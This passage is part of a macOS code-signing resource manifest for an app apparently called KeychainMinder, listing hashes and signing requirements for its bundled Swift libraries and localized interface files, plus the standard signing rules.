486 | 2kdQwrRTs+ixqrFkb8SoUZtquz0=
487 |
488 | requirement
489 | anchor apple generic and identifier "com.apple.dt.runtime.swiftCoreImage" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
490 |
491 | Frameworks/libswiftDarwin.dylib
492 |
493 | cdhash
494 |
495 | tmvYKMWyFFohGwmwZNQbkEIgv2I=
496 |
497 | requirement
498 | anchor apple generic and identifier "com.apple.dt.runtime.swiftDarwin" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
499 |
500 | Frameworks/libswiftDispatch.dylib
501 |
502 | cdhash
503 |
504 | bS6US/0lZjafIFqHuzl86TqMggc=
505 |
506 | requirement
507 | anchor apple generic and identifier "com.apple.dt.runtime.swiftDispatch" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
508 |
509 | Frameworks/libswiftFoundation.dylib
510 |
511 | cdhash
512 |
513 | /rrWzWU6ykOjxanJEMdYxMn8Dac=
514 |
515 | requirement
516 | anchor apple generic and identifier "com.apple.dt.runtime.swiftFoundation" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
517 |
518 | Frameworks/libswiftIOKit.dylib
519 |
520 | cdhash
521 |
522 | pjn3uMwh5TUzhdikVvXx28MlODo=
523 |
524 | requirement
525 | anchor apple generic and identifier "com.apple.dt.runtime.swiftIOKit" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
526 |
527 | Frameworks/libswiftObjectiveC.dylib
528 |
529 | cdhash
530 |
531 | yn5+OB9NwzKvqGmosrQ8S8aQHNw=
532 |
533 | requirement
534 | anchor apple generic and identifier "com.apple.dt.runtime.swiftObjectiveC" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
535 |
536 | Frameworks/libswiftQuartzCore.dylib
537 |
538 | cdhash
539 |
540 | kgSyPIwwRUtzCXdAmjPfuzCTqDw=
541 |
542 | requirement
543 | anchor apple generic and identifier "com.apple.dt.runtime.swiftQuartzCore" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
544 |
545 | Frameworks/libswiftXPC.dylib
546 |
547 | cdhash
548 |
549 | kXTRg3R5PqRKeTEj+7T/WCJ/C3U=
550 |
551 | requirement
552 | anchor apple generic and identifier "com.apple.dt.runtime.swiftXPC" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24)
553 |
554 | Resources/AppIcon.icns
555 |
556 | hash
557 |
558 | 3qKgUiotU3mECEqlr+upr0iOqmc=
559 |
560 | hash2
561 |
562 | hNu65q/U7uaWsrKgZsS6RAMyghA9zn2SwIKeAF2JB+E=
563 |
564 |
565 | Resources/Assets.car
566 |
567 | hash
568 |
569 | Fd9Mr5te6qPXZmKTuXVQERiLN0c=
570 |
571 | hash2
572 |
573 | KfWmj7OrGLjyrh5ksbxQHSiGCkKO+jmLBg2iCZMDG88=
574 |
575 |
576 | Resources/Base.lproj/InfoPlist.strings
577 |
578 | hash
579 |
580 | mKVE+ketAI5F5Y+F/V90kBFMUTI=
581 |
582 | hash2
583 |
584 | zauf/eY3yrwy/9FJj3dDLcsPJibjjMK4i4svg89Cpmw=
585 |
586 |
587 | Resources/Base.lproj/Languages.plist
588 |
589 | hash
590 |
591 | L+6mlkpLOpIaiR1xEbzlaGANrJ8=
592 |
593 | hash2
594 |
595 | 9/d/KmDK8Un5QvNxjvcSti9RWGgACkryMweHPIku9/4=
596 |
597 |
598 | Resources/Base.lproj/LoginWindow.nib
599 |
600 | hash
601 |
602 | LoWWidAj9o5HV/qw97zu/RfgAcM=
603 |
604 | hash2
605 |
606 | diE8UfgG7cLHzMj3IF9RmVtPggVTWWncMgcBdoSB6DU=
607 |
608 |
609 | Resources/Base.lproj/MainMenu.nib
610 |
611 | hash
612 |
613 | 39Ef2xduYy5q1gi70/wIn5GavfA=
614 |
615 | hash2
616 |
617 | 5tC6AtEWq1UvjXiRyXeAl7KntNLnXOkUY9GWe64JD2Q=
618 |
619 |
620 | Resources/Base.lproj/PasswordChangeWindow.nib
621 |
622 | hash
623 |
624 | /AYDOBI5Ixrhh4KixCvT5JKrEC0=
625 |
626 | hash2
627 |
628 | Jw64V5k2N5S8x9n3FY/uofcVRohhSMYQyKfvoT6foOE=
629 |
630 |
631 | Resources/Base.lproj/PreferencesWindow.nib
632 |
633 | hash
634 |
635 | 6BftE5R23/iKi1bRi97l8wRWWUg=
636 |
637 | hash2
638 |
639 | RDEGhTm/LYCgf28GFZtfqxOZ4p6+PT3I+rIrZ8RhXQc=
640 |
641 |
642 | Resources/DefaultPreferences.plist
643 |
644 | hash
645 |
646 | WfDSAIp8OrRM6UEpMvwZE1n1ZtU=
647 |
648 | hash2
649 |
650 | nTOlx1qPvVZ9vvf4WhC6aUlKoYUhEytqTyLDwWilFWk=
651 |
652 |
653 | Resources/KeychainMinder.nib
654 |
655 | hash
656 |
657 | HPq9vMGc8Iy6LdpQ8AKle52tDgg=
658 |
659 | hash2
660 |
661 | owqQYl5NJPptm0N+b3nAc57ILRWr0kp/heo4T6JVyhA=
662 |
663 |
664 | Resources/da.lproj/InfoPlist.strings
665 |
666 | hash
667 |
668 | rPz5wqMvaHQk+99rx+SDsZUnH70=
669 |
670 | hash2
671 |
672 | 3kedRKBZmjDIRBKGKo46Hvh8vbbgXgrhITJvMyzERWA=
673 |
674 | optional
675 |
676 |
677 | Resources/da.lproj/Languages.plist
678 |
679 | hash
680 |
681 | AiVDSll243Da5kJBILOFFtXHzhY=
682 |
683 | hash2
684 |
685 | 8ojnv3zho7RD2zO/PrmMjf1d2c8ySiA0ckZJtxrG8Ng=
686 |
687 | optional
688 |
689 |
690 | Resources/da.lproj/LoginWindow.strings
691 |
692 | hash
693 |
694 | G6FHMZOXrYv0bay+GffPo761AJA=
695 |
696 | hash2
697 |
698 | e7EdknLZFOaxF/SPaHQ9ihdTCqnEc18otj+SS72hsFg=
699 |
700 | optional
701 |
702 |
703 | Resources/da.lproj/MainMenu.strings
704 |
705 | hash
706 |
707 | Db+83FTkcDZIUOANynFG3cMZH38=
708 |
709 | hash2
710 |
711 | rugn0pgtRG9I6bZ/T7MiI0P/ckastfCXnKovhjbWXLE=
712 |
713 | optional
714 |
715 |
716 | Resources/da.lproj/PasswordChangeWindow.strings
717 |
718 | hash
719 |
720 | vF1VNbRQVF+DSD7UGVcyfe+zvXk=
721 |
722 | hash2
723 |
724 | +6H+ea4AfTbSKDzItU3PWePmF5EGvQah5Ou8riQaTj0=
725 |
726 | optional
727 |
728 |
729 | Resources/da.lproj/PreferencesWindow.strings
730 |
731 | hash
732 |
733 | z24cuQ4+eh+aElNHXEoOQKTPdZs=
734 |
735 | hash2
736 |
737 | Kc209DG1xdoCAcU6eY6QX2HB+J7Ur0ZXJzHKfl+PBn0=
738 |
739 | optional
740 |
741 |
742 | Resources/de.lproj/InfoPlist.strings
743 |
744 | hash
745 |
746 | U/Ni/ZSGC10tFc+k3LB1OgfbBw0=
747 |
748 | hash2
749 |
750 | xsUm3gYADAI3YvApYdEFUMHKMN+94j7hvR4GC/SxkQ8=
751 |
752 | optional
753 |
754 |
755 | Resources/de.lproj/Languages.plist
756 |
757 | hash
758 |
759 | Pj7HpZOhHME63DZPumc0cIE1dmU=
760 |
761 | hash2
762 |
763 | OqW7sHw1M2DhimiYpClgbXTn1mYtb7Z27R+MYSWuxqk=
764 |
765 | optional
766 |
767 |
768 | Resources/de.lproj/LoginWindow.strings
769 |
770 | hash
771 |
772 | 4njL1UIXFYOht4u7dbz0q2UqXcw=
773 |
774 | hash2
775 |
776 | 42mqK1tTai+85EsrUhLDA3vrE7D5ONr8QumyfbYqkVU=
777 |
778 | optional
779 |
780 |
781 | Resources/de.lproj/MainMenu.strings
782 |
783 | hash
784 |
785 | UW9ka4txuq6sud9MEx+dKf399JY=
786 |
787 | hash2
788 |
789 | Atsn8YrFfq+yzu82PpxUvIRKePfhMmBUsJyeeTINBJ8=
790 |
791 | optional
792 |
793 |
794 | Resources/de.lproj/PasswordChangeWindow.strings
795 |
796 | hash
797 |
798 | NU3FdxPBonJNkNwug+e4fLVwc9M=
799 |
800 | hash2
801 |
802 | Q6peY5TQqVVpaEzdAvGoHg2XfvPhuDJy6RK2AHwkHr0=
803 |
804 | optional
805 |
806 |
807 | Resources/de.lproj/PreferencesWindow.strings
808 |
809 | hash
810 |
811 | OfX4/98y3gKkOYiANZ1pJqmo2jA=
812 |
813 | hash2
814 |
815 | NG83mYEDosaOR2+V/tbligIT1EARKqJyNgGGrjyTdU8=
816 |
817 | optional
818 |
819 |
820 | Resources/en.lproj/Languages.plist
821 |
822 | hash
823 |
824 | L+6mlkpLOpIaiR1xEbzlaGANrJ8=
825 |
826 | hash2
827 |
828 | 9/d/KmDK8Un5QvNxjvcSti9RWGgACkryMweHPIku9/4=
829 |
830 | optional
831 |
832 |
833 | Resources/es.lproj/InfoPlist.strings
834 |
835 | hash
836 |
837 | 0HTGS/scw3VMk65iLw7h92yY0r4=
838 |
839 | hash2
840 |
841 | s4+gwy2ckNElixFtpFoJEgDe4aZMFGcpSm6sY8PnWjo=
842 |
843 | optional
844 |
845 |
846 | Resources/es.lproj/Languages.plist
847 |
848 | hash
849 |
850 | /sEo0hPO8/o1A1SB9F1hPXGGgec=
851 |
852 | hash2
853 |
854 | ZWHoVsWv4Jd7qD+3sIqlnPV/PdGFBgp6ucHnsN5GErE=
855 |
856 | optional
857 |
858 |
859 | Resources/es.lproj/LoginWindow.strings
860 |
861 | hash
862 |
863 | YAiZnJfqXI7YmDsOvjz5k4HxJ4s=
864 |
865 | hash2
866 |
867 | X1RY//jA/fWHTT0vx9kRquyYNv9Nt3g7Xo627RWQhg0=
868 |
869 | optional
870 |
871 |
872 | Resources/es.lproj/MainMenu.strings
873 |
874 | hash
875 |
876 | UrRWCYrQm7Rp6+/djlA1fQE8Qy4=
877 |
878 | hash2
879 |
880 | b4MOMYdFTqGqvkx++I3tP+VZGNVrFFgt5O7Jx7BKSZo=
881 |
882 | optional
883 |
884 |
885 | Resources/es.lproj/PasswordChangeWindow.strings
886 |
887 | hash
888 |
889 | j0IwdnnAqiAB0VMCZDecBnO19qU=
890 |
891 | hash2
892 |
893 | i6yq6niR6LW2xMbR1sS93xgyjde0VFNcRggmmHbqOp8=
894 |
895 | optional
896 |
897 |
898 | Resources/es.lproj/PreferencesWindow.strings
899 |
900 | hash
901 |
902 | PJcQaTBl1rWjXpbOygQBRGZZ8K4=
903 |
904 | hash2
905 |
906 | 5IgJvNRtm7dHm3UAiUaE56rnG5FkD0c+nmn7MaJeQCI=
907 |
908 | optional
909 |
910 |
911 | Resources/fr.lproj/InfoPlist.strings
912 |
913 | hash
914 |
915 | zDacW0XNNDDuouI1T13tlG/MvFk=
916 |
917 | hash2
918 |
919 | 6QOa4VAVDyu5uH1M/7RocH6dGu9xALJ0vYWAR8yduCo=
920 |
921 | optional
922 |
923 |
924 | Resources/fr.lproj/Languages.plist
925 |
926 | hash
927 |
928 | 6w+RQYZ/E9nNa73Pgd5zB6/PUUc=
929 |
930 | hash2
931 |
932 | k020n1U5E/cAY9OhRGljrCkmwF6q9HALRMEvbnxSnOk=
933 |
934 | optional
935 |
936 |
937 | Resources/fr.lproj/LoginWindow.strings
938 |
939 | hash
940 |
941 | jRzcZhZVxmY9uRXvg4MeEpzEZ/E=
942 |
943 | hash2
944 |
945 | fSm6pOEjI5yZKYwpQdo5N3Wc/15KebV39Ia//NrqtEM=
946 |
947 | optional
948 |
949 |
950 | Resources/fr.lproj/MainMenu.strings
951 |
952 | hash
953 |
954 | oS/VbVbR9UM/Jt1+UQInwILINXo=
955 |
956 | hash2
957 |
958 | x8/UxUvGC54Lxtw0hOnddW4TA2OMpGJoAXILmuVyr8g=
959 |
960 | optional
961 |
962 |
963 | Resources/fr.lproj/PasswordChangeWindow.strings
964 |
965 | hash
966 |
967 | XzH+48CRZSKHUnQEXNv+x61R2tc=
968 |
969 | hash2
970 |
971 | 2B7vTCaBcosOR6oLW7AUjknoluq1U64umjoQHxF2hvc=
972 |
973 | optional
974 |
975 |
976 | Resources/fr.lproj/PreferencesWindow.strings
977 |
978 | hash
979 |
980 | oO1fqnR8rsDY1Jo1DS9VNzeIsGE=
981 |
982 | hash2
983 |
984 | i9ksBUaTO3V6YCdvPvy33nUQVXtWpXbq6ETKO/g99pc=
985 |
986 | optional
987 |
988 |
989 | Resources/nl.lproj/InfoPlist.strings
990 |
991 | hash
992 |
993 | gY2ETohrXBM01QEKLq0h0Qzf0kA=
994 |
995 | hash2
996 |
997 | EA6OGk+B91tu9MNIDqAM3IH3WL7BTznZPIoTSzt0e7A=
998 |
999 | optional
1000 |
1001 |
1002 | Resources/nl.lproj/Languages.plist
1003 |
1004 | hash
1005 |
1006 | NWvIcFog4gxV1VPatTygDdaZNjA=
1007 |
1008 | hash2
1009 |
1010 | respxWqeXr9EgkleUIcXNmb5qsm7G5g8mQZxmbG0I3Q=
1011 |
1012 | optional
1013 |
1014 |
1015 | Resources/nl.lproj/Localizable.strings
1016 |
1017 | hash
1018 |
1019 | wbTYzu5izYRXkgPhA+ApuCRp2QM=
1020 |
1021 | hash2
1022 |
1023 | 5KoL2Lb0fdBGXr+B8SUcQ1eG+TpiF0PUVYs7uTRafyU=
1024 |
1025 | optional
1026 |
1027 |
1028 | Resources/nl.lproj/LoginWindow.strings
1029 |
1030 | hash
1031 |
1032 | /xsTvNZvsJob9tZ+/8GbHiHlewY=
1033 |
1034 | hash2
1035 |
1036 | ds6/pjsw8vLNE/LGv9x8/z6mfF94cVRYF7FzvHFhpR0=
1037 |
1038 | optional
1039 |
1040 |
1041 | Resources/nl.lproj/MainMenu.strings
1042 |
1043 | hash
1044 |
1045 | wJnKOXLXVNmACtOgyuUVRkXyTEI=
1046 |
1047 | hash2
1048 |
1049 | ajbWfc8OcOHAV7xViYNf3jP2NgfYkJ/6rhyN/7yFyl4=
1050 |
1051 | optional
1052 |
1053 |
1054 | Resources/nl.lproj/PasswordChangeWindow.strings
1055 |
1056 | hash
1057 |
1058 | A7YsxrhLFyJqVobx+J9U940Z5wk=
1059 |
1060 | hash2
1061 |
1062 | 9cJM9RzPYrisPeXrQ5lsmiNRbH7L/0ezjfT/5NBrcxo=
1063 |
1064 | optional
1065 |
1066 |
1067 | Resources/nl.lproj/PreferencesWindow.strings
1068 |
1069 | hash
1070 |
1071 | 9ZozFwBC4ddaAQZPsYjaoDqvQ3w=
1072 |
1073 | hash2
1074 |
1075 | vJawoIrvE7orOvKFS3nQPFFaTDS2gf4gR7IjF4Vme5o=
1076 |
1077 | optional
1078 |
1079 |
1080 | Resources/pl.lproj/InfoPlist.strings
1081 |
1082 | hash
1083 |
1084 | IlTV8aNuaGDAdwaPaha5FMnwK/E=
1085 |
1086 | hash2
1087 |
1088 | /p5m1c6OoG9htCX0jCyyqvsEjxAh4tcgqgwV9zIHoeY=
1089 |
1090 | optional
1091 |
1092 |
1093 | Resources/pl.lproj/Languages.plist
1094 |
1095 | hash
1096 |
1097 | 93A8mtFfe0UYI/OmQ+BVGybDyR8=
1098 |
1099 | hash2
1100 |
1101 | b6s/r6IfbiTNrU4gM1hdJBhtYp2LKYgUf87wrdzxB/M=
1102 |
1103 | optional
1104 |
1105 |
1106 | Resources/pl.lproj/LoginWindow.strings
1107 |
1108 | hash
1109 |
1110 | 4F7nlU/W2PMUIi1XClImrVAOs/M=
1111 |
1112 | hash2
1113 |
1114 | WF9rGRwUxqPYt0BqgyG2HLIFFxByRpm9+CVM/ODKdR8=
1115 |
1116 | optional
1117 |
1118 |
1119 | Resources/pl.lproj/MainMenu.strings
1120 |
1121 | hash
1122 |
1123 | PGlKt7v0T3Yc5XTxfCDjqutsQ/4=
1124 |
1125 | hash2
1126 |
1127 | 37eE+kYuaMFWkhYxUjWk7JkobFuYHKLsnue2hIRcodY=
1128 |
1129 | optional
1130 |
1131 |
1132 | Resources/pl.lproj/PasswordChangeWindow.strings
1133 |
1134 | hash
1135 |
1136 | 5dxbaKOcznNBn0DL+5G9IfzLiJ8=
1137 |
1138 | hash2
1139 |
1140 | bAZlvKqS8cgIN4y3oLrFxTOGMqRVbQaSIzUYCrCHLvY=
1141 |
1142 | optional
1143 |
1144 |
1145 | Resources/pl.lproj/PreferencesWindow.strings
1146 |
1147 | hash
1148 |
1149 | 6pI9ivvI+/mIRC2QeFifRXkuNms=
1150 |
1151 | hash2
1152 |
1153 | CPCePnNTSU+97dLq+35YOsQ5qwOnVfbmKvezpJZV59Y=
1154 |
1155 | optional
1156 |
1157 |
1158 | Resources/sv.lproj/InfoPlist.strings
1159 |
1160 | hash
1161 |
1162 | /n2jrASvfN5Iz/blQhHEWxebIso=
1163 |
1164 | hash2
1165 |
1166 | qrCnhG3pp0+ncV91wuHg4rJdjDVMA18Jvxr6iC5CPcY=
1167 |
1168 | optional
1169 |
1170 |
1171 | Resources/sv.lproj/Languages.plist
1172 |
1173 | hash
1174 |
1175 | hwo17KVPrYNXWGDm57rtGyFIL04=
1176 |
1177 | hash2
1178 |
1179 | CVEeuktQhskpByRzT7ZKGoydTIR5jtGNVUEpPvwB1vU=
1180 |
1181 | optional
1182 |
1183 |
1184 | Resources/sv.lproj/LoginWindow.strings
1185 |
1186 | hash
1187 |
1188 | mx+hmWCBB3hyoNWcjWbxfPmf9GA=
1189 |
1190 | hash2
1191 |
1192 | XTe7YjlU7bI/mbmk1aCZS7V9ouKQzbNTK57E1Qrkavo=
1193 |
1194 | optional
1195 |
1196 |
1197 | Resources/sv.lproj/MainMenu.strings
1198 |
1199 | hash
1200 |
1201 | T667phcrgNyPKDk+A/VyjT0qI04=
1202 |
1203 | hash2
1204 |
1205 | 2kx3eKWMQ4au0WA5EZiZpwtBQfv3ApcP3snYC/HhX2k=
1206 |
1207 | optional
1208 |
1209 |
1210 | Resources/sv.lproj/PasswordChangeWindow.strings
1211 |
1212 | hash
1213 |
1214 | YfZi+Oc353FytOdNn+cER+U3II4=
1215 |
1216 | hash2
1217 |
1218 | CeV/FidTc6EPsw/p/Qhk3kkHiNSCbgErBXFIlS1XHqc=
1219 |
1220 | optional
1221 |
1222 |
1223 | Resources/sv.lproj/PreferencesWindow.strings
1224 |
1225 | hash
1226 |
1227 | fcs5Ae/lPHa1FIXQnWYf8i/4hmY=
1228 |
1229 | hash2
1230 |
1231 | JBX0IaCNWHDeydbJsE8ne+zBff+TJqh9t0zKUpjACn4=
1232 |
1233 | optional
1234 |
1235 |
1236 |
1237 | rules
1238 |
1239 | ^Resources/
1240 |
1241 | ^Resources/.*\.lproj/
1242 |
1243 | optional
1244 |
1245 | weight
1246 | 1000
1247 |
1248 | ^Resources/.*\.lproj/locversion.plist$
1249 |
1250 | omit
1251 |
1252 | weight
1253 | 1100
1254 |
1255 | ^Resources/Base\.lproj/
1256 |
1257 | weight
1258 | 1010
1259 |
1260 | ^version.plist$
1261 |
1262 |
1263 | rules2
1264 |
1265 | .*\.dSYM($|/)
1266 |
1267 | weight
1268 | 11
1269 |
1270 | ^(.*/)?\.DS_Store$
1271 |
1272 | omit
1273 |
1274 | weight
1275 | 2000
1276 |
1277 | ^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/
1278 |
1279 | nested
1280 |
1281 | weight
1282 | 10
1283 |
1284 | ^.*
1285 |
1286 | ^Info\.plist$
1287 |
1288 | omit
1289 |
1290 | weight
1291 | 20
1292 |
1293 | ^PkgInfo$
1294 |
1295 | omit
1296 |
1297 | weight
1298 | 20
1299 |
1300 | ^Resources/
1301 |
1302 | weight
1303 | 20
1304 |
1305 | ^Resources/.*\.lproj/
1306 |
1307 | optional
1308 |
1309 | weight
1310 | 1000
1311 |
1312 | ^Resources/.*\.lproj/locversion.plist$
1313 |
1314 | omit
1315 |
1316 | weight
1317 | 1100
1318 |
1319 | ^Resources/Base\.lproj/
1320 |
1321 | weight
1322 | 1010
1323 |
1324 | ^[^/]+$
1325 |
1326 | nested
1327 |
1328 | weight
1329 | 10
1330 |
1331 | ^embedded\.provisionprofile$
1332 |
1333 | weight
1334 | 20
1335 |
1336 | ^version\.plist$
1337 |
1338 | weight
1339 | 20
1340 |
1341 |
1342 |
1343 |
1344 |
--------------------------------------------------------------------------------